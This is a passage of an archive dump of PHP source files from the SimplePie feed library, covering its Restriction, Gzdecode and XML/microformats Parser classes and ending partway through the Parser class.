        /** @var \DOMElement $element */
        foreach ($elements as $element) {
            foreach ($valuePairs as $attrib => $value) {
                $element->setAttribute($attrib, $value);
            }
        }
    }

    /**
     * Get a DataCache
     *
     * @param string $image_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache(string $image_url = ''): DataCache
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $image_url,
                Base::TYPE_IMAGE
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }

    /**
     * Get a HTTP client
     */
    private function get_http_client(): Client
    {
        if ($this->http_client === null) {
            $this->http_client = new FileClient(
                $this->registry,
                [
                    'timeout' => $this->timeout,
                    'redirects' => 5,
                    'useragent' => $this->useragent,
                    'force_fsockopen' => $this->force_fsockopen,
                    'curl_options' => $this->curl_options,
                ]
            );
        }

        return $this->http_client;
    }
}

class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize');
Restriction.php000064400000004501152222652070007565 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:restriction>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()}
 */
class Restriction
{
    public const RELATIONSHIP_ALLOW = 'allow';
    public const RELATIONSHIP_DENY = 'deny';

    /**
     * Relationship ('allow'/'deny')
     *
     * @var self::RELATIONSHIP_*|null
     * @see get_relationship()
     */
    public $relationship;

    /**
     * Type of restriction
     *
     * @var string|null
     * @see get_type()
     */
    public $type;

    /**
     * Restricted values
     *
     * @var string|null
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     *
     * @param ?self::RELATIONSHIP_* $relationship
     */
    public function __construct(?string $relationship = null, ?string $type = null, ?string $value = null)
    {
        $this->relationship = $relationship;
        $this->type = $type;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the relationship
     *
     * @return ?self::RELATIONSHIP_*
     */
    public function get_relationship()
    {
        if ($this->relationship !== null) {
            return $this->relationship;
        }

        return null;
    }

    /**
     * Get the type
     *
     * @return string|null
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the list of restricted things
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Restriction', 'SimplePie_Restriction');
RegistryAware.php000064400000000677152222652070010062 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles the injection of Registry into other class
 *
 * {@see \SimplePie\SimplePie::get_registry()}
 */
interface RegistryAware
{
    /**
     * Set the Registry into the class
     *
     * @return void
     */
    public function set_registry(Registry $registry);
}
Gzdecode.php000064400000020500152222652070007001 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Decode 'gzip' encoded HTTP data
 *
 * @link http://www.gzip.org/format.txt
 * @link https://www.php.net/manual/en/function.gzdecode.php
 * @deprecated since SimplePie 1.9.0, use `gzdecode` function instead.
 */
class Gzdecode
{
    /**
     * Compressed data
     *
     * @access private
     * @var string
     * @see gzdecode::$data
     */
    public $compressed_data;

    /**
     * Size of compressed data
     *
     * @access private
     * @var int
     */
    public $compressed_size;

    /**
     * Minimum size of a valid gzip string
     *
     * @access private
     * @var int
     */
    public $min_compressed_size = 18;

    /**
     * Current position of pointer
     *
     * @access private
     * @var int
     */
    public $position = 0;

    /**
     * Flags (FLG)
     *
     * @access private
     * @var int
     */
    public $flags;

    /**
     * Uncompressed data
     *
     * @access public
     * @see gzdecode::$compressed_data
     * @var string
     */
    public $data;

    /**
     * Modified time
     *
     * @access public
     * @var int
     */
    public $MTIME;

    /**
     * Extra Flags
     *
     * @access public
     * @var int
     */
    public $XFL;

    /**
     * Operating System
     *
     * @access public
     * @var int
     */
    public $OS;

    /**
     * Subfield ID 1
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI2
     * @var string
     */
    public $SI1;

    /**
     * Subfield ID 2
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI1
     * @var string
     */
    public $SI2;

    /**
     * Extra field content
     *
     * @access public
     * @see gzdecode::$SI1
     * @see gzdecode::$SI2
     * @var string
     */
    public $extra_field;

    /**
     * Original filename
     *
     * @access public
     * @var string
     */
    public $filename;

    /**
     * Human readable comment
     *
     * @access public
     * @var string
     */
    public $comment;

    /**
     * Don't allow anything to be set
     *
     * @param string $name
     * @param mixed $value
     */
    public function __set(string $name, $value)
    {
        throw new Exception("Cannot write property $name");
    }

    /**
     * Set the compressed string and related properties
     *
     * @param string $data
     */
    public function __construct(string $data)
    {
        $this->compressed_data = $data;
        $this->compressed_size = strlen($data);
    }

    /**
     * Decode the GZIP stream
     *
     * @return bool Successfulness
     */
    public function parse()
    {
        if ($this->compressed_size >= $this->min_compressed_size) {
            $len = 0;

            // Check ID1, ID2, and CM
            if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") {
                return false;
            }

            // Get the FLG (FLaGs)
            $this->flags = ord($this->compressed_data[3]);

            // FLG bits above (1 << 4) are reserved
            if ($this->flags > 0x1F) {
                return false;
            }

            // Advance the pointer after the above
            $this->position += 4;

            // MTIME
            $mtime = substr($this->compressed_data, $this->position, 4);
            // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
            if (current((array) unpack('S', "\x00\x01")) === 1) {
                $mtime = strrev($mtime);
            }
            $this->MTIME = current((array) unpack('l', $mtime));
            $this->position += 4;

            // Get the XFL (eXtra FLags)
            $this->XFL = ord($this->compressed_data[$this->position++]);

            // Get the OS (Operating System)
            $this->OS = ord($this->compressed_data[$this->position++]);

            // Parse the FEXTRA
            if ($this->flags & 4) {
                // Read subfield IDs
                $this->SI1 = $this->compressed_data[$this->position++];
                $this->SI2 = $this->compressed_data[$this->position++];

                // SI2 set to zero is reserved for future use
                if ($this->SI2 === "\x00") {
                    return false;
                }

                // Get the length of the extra field
                $len = current((array) unpack('v', substr($this->compressed_data, $this->position, 2)));
                $this->position += 2;

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 4;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the extra field to the given data
                    $this->extra_field = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len;
                } else {
                    return false;
                }
            }

            // Parse the FNAME
            if ($this->flags & 8) {
                // Get the length of the filename
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original filename to the given string
                    $this->filename = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FCOMMENT
            if ($this->flags & 16) {
                // Get the length of the comment
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original comment to the given string
                    $this->comment = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FHCRC
            if ($this->flags & 2) {
                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 2;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Read the CRC
                    $crc = current((array) unpack('v', substr($this->compressed_data, $this->position, 2)));

                    // Check the CRC matches
                    if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) {
                        $this->position += 2;
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            }

            // Decompress the actual data
            if (($data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) {
                return false;
            }

            $this->data = $data;
            $this->position = $this->compressed_size - 8;

            // Check CRC of data
            $crc = current((array) unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
            {
                return false;
            }*/

            // Check ISIZE of data
            $isize = current((array) unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) {
                return false;
            }

            // Wow, against all odds, we've actually got a valid gzip string
            return true;
        }

        return false;
    }
}

class_alias('SimplePie\Gzdecode', 'SimplePie_gzdecode');
Parser.php000064400000104064152222652070006521 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\XML\Declaration\Parser as DeclarationParser;
use XMLParser;

/**
 * Parses XML into something sane
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_parser_class()}
 */
class Parser implements RegistryAware
{
    /** @var int */
    public $error_code;
    /** @var string */
    public $error_string;
    /** @var int */
    public $current_line;
    /** @var int */
    public $current_column;
    /** @var int */
    public $current_byte;
    /** @var string */
    public $separator = ' ';
    /** @var string[] */
    public $namespace = [''];
    /** @var string[] */
    public $element = [''];
    /** @var string[] */
    public $xml_base = [''];
    /** @var bool[] */
    public $xml_base_explicit = [false];
    /** @var string[] */
    public $xml_lang = [''];
    /** @var array<string, mixed> */
    public $data = [];
    /** @var array<array<string, mixed>> */
    public $datas = [[]];
    /** @var int */
    public $current_xhtml_construct = -1;
    /** @var string */
    public $encoding;
    /** @var Registry */
    protected $registry;

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @return bool
     */
    public function parse(string &$data, string $encoding, string $url = '')
    {
        if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
            $doc = new \DOMDocument();
            @$doc->loadHTML($data);
            $xpath = new \DOMXpath($doc);
            // Check for both h-feed and h-entry, as both a feed with no entries
            // and a list of entries without an h-feed wrapper are both valid.
            $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
                'contains(concat(" ", @class, " "), " h-entry ")]';
            /** @var \DOMNodeList<\DOMElement> $result */
            $result = $xpath->query($query);
            if ($result->length !== 0) {
                return $this->parse_microformats($data, $url);
            }
        }

        // Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
        if (strtoupper($encoding) === 'US-ASCII') {
            $this->encoding = 'UTF-8';
        } else {
            $this->encoding = $encoding;
        }

        // Strip BOM:
        // UTF-32 Big Endian BOM
        if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
            $data = substr($data, 4);
        }
        // UTF-32 Little Endian BOM
        elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
            $data = substr($data, 4);
        }
        // UTF-16 Big Endian BOM
        elseif (substr($data, 0, 2) === "\xFE\xFF") {
            $data = substr($data, 2);
        }
        // UTF-16 Little Endian BOM
        elseif (substr($data, 0, 2) === "\xFF\xFE") {
            $data = substr($data, 2);
        }
        // UTF-8 BOM
        elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
            $data = substr($data, 3);
        }

        if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) {
            $declaration = $this->registry->create(DeclarationParser::class, [substr($data, 5, $pos - 5)]);
            if ($declaration->parse()) {
                $data = substr($data, $pos + 2);
                $data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . "\n" .
                    self::set_doctype($data);
            } else {
                $this->error_string = 'SimplePie bug! Please report this!';
                return false;
            }
        } else {
            $data = self::set_doctype($data);
        }

        $return = true;

        static $xml_is_sane = null;
        if ($xml_is_sane === null) {
            $parser_check = xml_parser_create();
            xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
            if (\PHP_VERSION_ID < 80000) {
                xml_parser_free($parser_check);
            }
            $xml_is_sane = isset($values[0]['value']);
        }

        // Create the parser
        if ($xml_is_sane) {
            $xml = xml_parser_create_ns($this->encoding, $this->separator);
            xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
            xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
            xml_set_character_data_handler($xml, [$this, 'cdata']);
            xml_set_element_handler($xml, [$this, 'tag_open'], [$this, 'tag_close']);

            // Parse!
            $wrapper = @is_writable(sys_get_temp_dir()) ? 'php://temp' : 'php://memory';
            if (($stream = fopen($wrapper, 'r+')) &&
                fwrite($stream, $data) &&
                rewind($stream)) {
                //Parse by chunks not to use too much memory
                do {
                    $stream_data = (string) fread($stream, 1048576);

                    if (!xml_parse($xml, $stream_data, feof($stream))) {
                        $this->error_code = xml_get_error_code($xml);
                        $this->error_string = xml_error_string($this->error_code) ?: "Unknown";
                        $return = false;
                        break;
                    }
                } while (!feof($stream));
                fclose($stream);
            } else {
                $return = false;
            }

            $this->current_line = xml_get_current_line_number($xml);
            $this->current_column = xml_get_current_column_number($xml);
            $this->current_byte = xml_get_current_byte_index($xml);
            if (\PHP_VERSION_ID < 80000) {
                xml_parser_free($xml);
            }
            return $return;
        }

        libxml_clear_errors();
        $xml = new \XMLReader();
        $xml->xml($data);
        while (@$xml->read()) {
            switch ($xml->nodeType) {
                case \XMLReader::END_ELEMENT:
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $this->tag_close(null, $tagName);
                    break;
                case \XMLReader::ELEMENT:
                    $empty = $xml->isEmptyElement;
                    if ($xml->namespaceURI !== '') {
                        $tagName = $xml->namespaceURI . $this->separator . $xml->localName;
                    } else {
                        $tagName = $xml->localName;
                    }
                    $attributes = [];
                    while ($xml->moveToNextAttribute()) {
                        if ($xml->namespaceURI !== '') {
                            $attrName = $xml->namespaceURI . $this->separator . $xml->localName;
                        } else {
                            $attrName = $xml->localName;
                        }
                        $attributes[$attrName] = $xml->value;
                    }
                    $this->tag_open(null, $tagName, $attributes);
                    if ($empty) {
                        $this->tag_close(null, $tagName);
                    }
                    break;
                case \XMLReader::TEXT:

                case \XMLReader::CDATA:
                    $this->cdata(null, $xml->value);
                    break;
            }
        }
        if ($error = libxml_get_last_error()) {
            $this->error_code = $error->code;
            $this->error_string = $error->message;
            $this->current_line = $error->line;
            $this->current_column = $error->column;
            return false;
        }

        return true;
    }

    /**
     * @return int
     */
    public function get_error_code()
    {
        return $this->error_code;
    }

    /**
     * @return string
     */
    public function get_error_string()
    {
        return $this->error_string;
    }

    /**
     * @return int
     */
    public function get_current_line()
    {
        return $this->current_line;
    }

    /**
     * @return int
     */
    public function get_current_column()
    {
        return $this->current_column;
    }

    /**
     * @return int
     */
    public function get_current_byte()
    {
        return $this->current_byte;
    }

    /**
     * @return array<string, mixed>
     */
    public function get_data()
    {
        return $this->data;
    }

    /**
     * @param XMLParser|resource|null $parser
     * @param array<string, string> $attributes
     * @return void
     */
    public function tag_open($parser, string $tag, array $attributes)
    {
        [$this->namespace[], $this->element[]] = $this->split_ns($tag);

        $attribs = [];
        foreach ($attributes as $name => $value) {
            [$attrib_namespace, $attribute] = $this->split_ns($name);
            $attribs[$attrib_namespace][$attribute] = $value;
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'])) {
            $base = $this->registry->call(Misc::class, 'absolutize_url', [$attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'], end($this->xml_base)]);
            if ($base !== false) {
                $this->xml_base[] = $base;
                $this->xml_base_explicit[] = true;
            }
        } else {
            $this->xml_base[] = end($this->xml_base) ?: '';
            $this->xml_base_explicit[] = end($this->xml_base_explicit);
        }

        if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'])) {
            $this->xml_lang[] = $attribs[\SimplePie\SimplePie::NAMESPACE_XML]['lang'];
        } else {
            $this->xml_lang[] = end($this->xml_lang) ?: '';
        }

        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct++;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML) {
                $this->data['data'] .= '<' . end($this->element);
                if (isset($attribs[''])) {
                    foreach ($attribs[''] as $name => $value) {
                        $this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
                    }
                }
                $this->data['data'] .= '>';
            }
        } else {
            $this->datas[] = &$this->data;
            $this->data = &$this->data['child'][end($this->namespace)][end($this->element)][];
            $this->data = ['data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang)];
            if ((end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_03 && in_array(end($this->element), ['title', 'tagline', 'copyright', 'info', 'summary', 'content']) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_ATOM_10 && in_array(end($this->element), ['rights', 'subtitle', 'summary', 'info', 'title', 'content']) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_20 && in_array(end($this->element), ['title']))
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_090 && in_array(end($this->element), ['title']))
            || (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_RSS_10 && in_array(end($this->element), ['title']))) {
                $this->current_xhtml_construct = 0;
            }
        }
    }

    /**
     * @param XMLParser|resource|null $parser
     * @return void
     */
    public function cdata($parser, string $cdata)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
        } else {
            $this->data['data'] .= $cdata;
        }
    }

    /**
     * @param XMLParser|resource|null $parser
     * @return void
     */
    public function tag_close($parser, string $tag)
    {
        if ($this->current_xhtml_construct >= 0) {
            $this->current_xhtml_construct--;
            if (end($this->namespace) === \SimplePie\SimplePie::NAMESPACE_XHTML && !in_array(end($this->element), ['area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param'])) {
                $this->data['data'] .= '</' . end($this->element) . '>';
            }
        }
        if ($this->current_xhtml_construct === -1) {
            $this->data = &$this->datas[count($this->datas) - 1];
            array_pop($this->datas);
        }

        array_pop($this->element);
        array_pop($this->namespace);
        array_pop($this->xml_base);
        array_pop($this->xml_base_explicit);
        array_pop($this->xml_lang);
    }

    /**
     * @return array{string, string}
     */
    public function split_ns(string $string)
    {
        static $cache = [];
        if (!isset($cache[$string])) {
            if ($pos = strpos($string, $this->separator)) {
                static $separator_length;
                if (!$separator_length) {
                    $separator_length = strlen($this->separator);
                }
                $namespace = substr($string, 0, $pos);
                $local_name = substr($string, $pos + $separator_length);
                if (strtolower($namespace) === \SimplePie\SimplePie::NAMESPACE_ITUNES) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_ITUNES;
                }

                // Normalize the Media RSS namespaces
                if ($namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG2 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG3 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG4 ||
                    $namespace === \SimplePie\SimplePie::NAMESPACE_MEDIARSS_WRONG5) {
                    $namespace = \SimplePie\SimplePie::NAMESPACE_MEDIARSS;
                }
                $cache[$string] = [$namespace, $local_name];
            } else {
                $cache[$string] = ['', $string];
            }
        }
        return $cache[$string];
    }

    /**
     * @param array<string, mixed> $data
     */
    private function parse_hcard(array $data, bool $category = false): string
    {
        $name = '';
        $link = '';
        // Check if h-card is set and pass that information on in the link.
        if (isset($data['type']) && in_array('h-card', $data['type'])) {
            if (isset($data['properties']['name'][0])) {
                $name = $data['properties']['name'][0];
            }
            if (isset($data['properties']['url'][0])) {
                $link = $data['properties']['url'][0];
                if ($name === '') {
                    $name = $link;
                } else {
                    // can't have commas in categories.
                    $name = str_replace(',', '', $name);
                }
                $person_tag = $category ? '<span class="person-tag"></span>' : '';
                return '<a class="h-card" href="'.$link.'">'.$person_tag.$name.'</a>';
            }
        }
        return $data['value'] ?? '';
    }

    /**
     * @return true
     */
    private function parse_microformats(string &$data, string $url): bool
    {
        // For PHPStan, we already check that in call site.
        \assert(function_exists('Mf2\parse'));
        \assert(function_exists('Mf2\fetch'));
        $feed_title = '';
        $feed_author = null;
        $author_cache = [];
        $items = [];
        $entries = [];
        $mf = \Mf2\parse($data, $url);
        // First look for an h-feed.
        $h_feed = [];
        foreach ($mf['items'] as $mf_item) {
            if (in_array('h-feed', $mf_item['type'])) {
                $h_feed = $mf_item;
                break;
            }
            // Also look for h-feed or h-entry in the children of each top level item.
            if (!isset($mf_item['children'][0]['type'])) {
                continue;
            }
            if (in_array('h-feed', $mf_item['children'][0]['type'])) {
                $h_feed = $mf_item['children'][0];
                // In this case the parent of the h-feed may be an h-card, so use it as
                // the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            } elseif (in_array('h-entry', $mf_item['children'][0]['type'])) {
                $entries = $mf_item['children'];
                // In this case the parent of the h-entry list may be an h-card, so use
                // it as the feed_author.
                if (in_array('h-card', $mf_item['type'])) {
                    $feed_author = $mf_item;
                }
                break;
            }
        }
        if (isset($h_feed['children'])) {
            $entries = $h_feed['children'];
            // Also set the feed title and store author from the h-feed if available.
            if (isset($mf['items'][0]['properties']['name'][0])) {
                $feed_title = $mf['items'][0]['properties']['name'][0];
            }
            if (isset($mf['items'][0]['properties']['author'][0])) {
                $feed_author = $mf['items'][0]['properties']['author'][0];
            }
        } elseif (count($entries) === 0) {
            $entries = $mf['items'];
        }
        for ($i = 0; $i < count($entries); $i++) {
            $entry = $entries[$i];
            if (in_array('h-entry', $entry['type'])) {
                $item = [];
                $title = '';
                $description = '';
                if (isset($entry['properties']['url'][0])) {
                    $link = $entry['properties']['url'][0];
                    if (isset($link['value'])) {
                        $link = $link['value'];
                    }
                    $item['link'] = [['data' => $link]];
                }
                if (isset($entry['properties']['uid'][0])) {
                    $guid = $entry['properties']['uid'][0];
                    if (isset($guid['value'])) {
                        $guid = $guid['value'];
                    }
                    $item['guid'] = [['data' => $guid]];
                }
                if (isset($entry['properties']['name'][0])) {
                    $title = $entry['properties']['name'][0];
                    if (isset($title['value'])) {
                        $title = $title['value'];
                    }
                    $item['title'] = [['data' => $title]];
                }
                if (isset($entry['properties']['author'][0]) || isset($feed_author)) {
                    // author is a special case, it can be plain text or an h-card array.
                    // If it's plain text it can also be a url that should be followed to
                    // get the actual h-card.
                    $author = $entry['properties']['author'][0] ?? $feed_author;
                    if (!is_string($author)) {
                        $author = $this->parse_hcard($author);
                    } elseif (strpos($author, 'http') === 0) {
                        if (isset($author_cache[$author])) {
                            $author = $author_cache[$author];
                        } else {
                            if ($mf = \Mf2\fetch($author)) {
                                foreach ($mf['items'] as $hcard) {
                                    // Only interested in an h-card by itself in this case.
                                    if (!in_array('h-card', $hcard['type'])) {
                                        continue;
                                    }
                                    // It must have a url property matching what we fetched.
                                    if (!isset($hcard['properties']['url']) ||
                                            !(in_array($author, $hcard['properties']['url']))) {
                                        continue;
                                    }
                                    // Save parse_hcard the trouble of finding the correct url.
                                    $hcard['properties']['url'][0] = $author;
                                    // Cache this h-card for the next h-entry to check.
                                    $author_cache[$author] = $this->parse_hcard($hcard);
                                    $author = $author_cache[$author];
                                    break;
                                }
                            }
                        }
                    }
                    $item['author'] = [['data' => $author]];
                }
                if (isset($entry['properties']['photo'][0])) {
                    // If a photo is also in content, don't need to add it again here.
                    $content = '';
                    if (isset($entry['properties']['content'][0]['html'])) {
                        $content = $entry['properties']['content'][0]['html'];
                    }
                    $photo_list = [];
                    for ($j = 0; $j < count($entry['properties']['photo']); $j++) {
                        $photo = $entry['properties']['photo'][$j];
                        if (!empty($photo) && strpos($content, $photo) === false) {
                            $photo_list[] = $photo;
                        }
                    }
                    // When there's more than one photo show the first and use a lightbox.
                    // Need a permanent, unique name for the image set, but don't have
                    // anything unique except for the content itself, so use that.
                    $count = count($photo_list);
                    if ($count > 1) {
                        $image_set_id = preg_replace('/[[:^alnum:]]/', '', $photo_list[0]);
                        $description = '<p>';
                        for ($j = 0; $j < $count; $j++) {
                            $hidden = $j === 0 ? '' : 'class="hidden" ';
                            $description .= '<a href="'.$photo_list[$j].'" '.$hidden.
                                'data-lightbox="image-set-'.$image_set_id.'">'.
                                '<img src="'.$photo_list[$j].'"></a>';
                        }
                        $description .= '<br><b>'.$count.' photos</b></p>';
                    } elseif ($count == 1) {
                        $description = '<p><img src="'.$photo_list[0].'"></p>';
                    }
                }
                if (isset($entry['properties']['content'][0]['html'])) {
                    // e-content['value'] is the same as p-name when they are on the same
                    // element. Use this to replace title with a strip_tags version so
                    // that alt text from images is not included in the title.
                    if ($entry['properties']['content'][0]['value'] === $title) {
                        $title = strip_tags($entry['properties']['content'][0]['html']);
                        $item['title'] = [['data' => $title]];
                    }
                    $description .= $entry['properties']['content'][0]['html'];
                    if (isset($entry['properties']['in-reply-to'][0])) {
                        $in_reply_to = '';
                        if (is_string($entry['properties']['in-reply-to'][0])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0];
                        } elseif (isset($entry['properties']['in-reply-to'][0]['value'])) {
                            $in_reply_to = $entry['properties']['in-reply-to'][0]['value'];
                        }
                        if ($in_reply_to !== '') {
                            $description .= '<p><span class="in-reply-to"></span> '.
                                '<a href="'.$in_reply_to.'">'.$in_reply_to.'</a><p>';
                        }
                    }
                    $item['description'] = [['data' => $description]];
                }
                if (isset($entry['properties']['category'])) {
                    $category_csv = '';
                    // Categories can also contain h-cards.
                    foreach ($entry['properties']['category'] as $category) {
                        if ($category_csv !== '') {
                            $category_csv .= ', ';
                        }
                        if (is_string($category)) {
                            // Can't have commas in categories.
                            $category_csv .= str_replace(',', '', $category);
                        } else {
                            $category_csv .= $this->parse_hcard($category, true);
                        }
                    }
                    $item['category'] = [['data' => $category_csv]];
                }
                if (isset($entry['properties']['published'][0])) {
                    $timestamp = strtotime($entry['properties']['published'][0]);
                    $pub_date = date('F j Y g:ia', $timestamp).' GMT';
                    $item['pubDate'] = [['data' => $pub_date]];
                }
                // The title and description are set to the empty string to represent
                // a deleted item (which also makes it an invalid rss item).
                if (isset($entry['properties']['deleted'][0])) {
                    $item['title'] = [['data' => '']];
                    $item['description'] = [['data' => '']];
                }
                $items[] = ['child' => ['' => $item]];
            }
        }
        // Mimic RSS data format when storing microformats.
        $link = [['data' => $url]];
        $image = '';
        if (!is_string($feed_author) &&
                isset($feed_author['properties']['photo'][0])) {
            $image = [['child' => ['' => ['url' =>
                [['data' => $feed_author['properties']['photo'][0]]]]]]];
        }
        // Use the name given for the h-feed, or get the title from the html.
        if ($feed_title !== '') {
            $feed_title = [['data' => htmlspecialchars($feed_title)]];
        } elseif ($position = strpos($data, '<title>')) {
            $start = $position < 200 ? 0 : $position - 200;
            $check = substr($data, $start, 400);
            $matches = [];
            if (preg_match('/<title>(.+)<\/title>/', $check, $matches)) {
                $feed_title = [['data' => htmlspecialchars($matches[1])]];
            }
        }
        $channel = ['channel' => [['child' => ['' =>
            ['link' => $link, 'image' => $image, 'title' => $feed_title,
                  'item' => $items]]]]];
        $rss = [['attribs' => ['' => ['version' => '2.0']],
                           'child' => ['' => $channel]]];
        $this->data = ['child' => ['' => ['rss' => $rss]]];
        return true;
    }

    private static function set_doctype(string $data): string
    {
        // Strip DOCTYPE except if containing an [internal subset]
        $data = preg_replace('/^\\s*<!DOCTYPE\\s[^>\\[\\]]*>\s*/', '', $data) ?? $data;
        // Declare HTML entities only if no remaining DOCTYPE
        $doctype = preg_match('/^\\s*<!DOCTYPE\\s/', $data) ? '' : self::declare_html_entities();
        return $doctype . $data;
    }

    private static function declare_html_entities(): string
    {
        // This is required because the RSS specification says that entity-encoded
        // html is allowed, but the xml specification says they must be declared.
